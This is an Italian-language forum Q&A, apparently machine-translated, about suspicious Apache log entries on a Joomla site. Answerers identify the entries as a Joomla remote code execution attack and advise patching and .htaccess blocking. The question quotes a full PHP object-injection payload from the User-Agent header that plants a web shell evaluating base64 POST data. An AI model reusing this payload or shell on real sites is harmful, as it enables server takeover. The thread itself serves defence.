L'identificazione dell'utente-agente è stata utilizzata per alcune tecniche di attacco di scripting?

Le voci del registro di accesso di Apache sul mio sito sono in genere come questa:

207.46.13.174 - - [31 / Ott / 2016: 10: 18: 55 +0100] "GET / contact HTTP / 1.1" 200 256 "-" "Mozilla / 5.0 (compatibile; bingbot / 2.0; + http: // www .bing.com / bingbot.htm) "0.607 MISS 10.10.36.125:104 0.607

così puoi vedere il campo user-agent lì. Ma oggi ho anche trovato il campo user-agent usato in questo modo:

62.210.162.42 - - [31 / Ott / 2016: 11: 24: 19 +0100] "GET / HTTP / 1.1" 200 399 "-" "} __ test | O: 21:" JDatabaseDriverMysqli ": 3: {s: 2 : "fc"; O: 17: "JSimplepieFactory": 0: {} s: 21: "\ 0 \ 0 \ 0disconnectHandlers", una: 1: {i: 0; un: 2: {i: 0; O: 9: "SimplePie": 5: {s: 8: "disinfettare"; O: 20: "JDatabaseDriverMysql": 0: {} s: 8: "FEED_URL"; s: 242: "file_put_contents ($ _ SERVER [" DOCUMENT_ROOT" ] .chr (47). "sqlconfigbak.php", "| = | \ x3C" .chr (63). "php \ x24mujj = \ x24_POST ['z']; if (\ x24mujj! = '') {\ x24xsser = base64_decode (\ x24_POST [ 'z0']); @ eval (\ "\\\ x24safedg = \ x24xsser; \");} "); JFactory :: GetConfig (); uscita;"; s: 19:" cache_name_function "; s: 6:" assert "; s: 5:" cache "; b: 1; s: 11:" cache_class "; O: 20:"JDatabaseDriverMysql ": 0: {}} i: 1; s: 4:" init ";}} s: 13:" \ 0 \ 0 \ 0connection "; b: 1;} ~ Ů" 0.304 BYPASS 10.10.36.125:104 0.304

È stato un attacco? La voce di registro successiva sembra aver recuperato correttamente (codice 200) il file sqlconfigbak.phpmenzionato nello script. Anche se non riesco a trovare il file nel file system:

62.210.162.42 - - [31 / Ott / 2016: 11: 24: 20 +0100] "GET //sqlconfigbak.php HTTP / 1.1" 200 399 "http://www.googlebot.com/bot.html" "Mozilla /5.0 (compatibile; Googlebot / 2.1; + http: //www.google.com/bot.html) "0.244 BYPASS 10.10.36.125:104 0.244

Per favore, cosa stava succedendo qui?

Questo è un Joomla 0 Day Attack. Informazioni trovate qui: https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html

Questo non è un test di vulnerabilità nonostante il test __. È un attacco

Assicurati che qualsiasi installazione di Joomla sia il più aggiornata possibile.

Un'altra opzione è semplicemente usare .htaccess per intercettare questo exploit cercando una stringa comune, "__test" funzionerebbe e reindirizzerebbe in un altro posto.

L'indirizzo IP che hai collegato non si risolve in un nome host di Google, pertanto non è Google. La persona o il bot sta eseguendo la scansione del tuo sito alla ricerca di vulnerabilità. Il primo sta tentando di trovare una vulnerabilità di Joomla.

Questi eventi si verificano regolarmente sulla maggior parte dei siti Web. Dovresti assicurarti di seguire le migliori pratiche e rafforzare il tuo sito Web, il processo è lungo e dovrai trovare e seguire un tutorial online.

Oltre ad altre risposte, nota che il fatto che questo attacco apparentemente abbia funzionato suggerisce che stai utilizzando una versione vecchia e insicura di PHP. Una correzione per il bug che sfrutta questo attacco è stata rilasciata a settembre 2015. Esegui il processo di aggiornamento e assicurati che venga inserito nella versione più recente di PHP. E controlla anche altri programmi obsoleti che si affacciano su Internet, poiché il tuo server non è stato aggiornato da almeno un anno.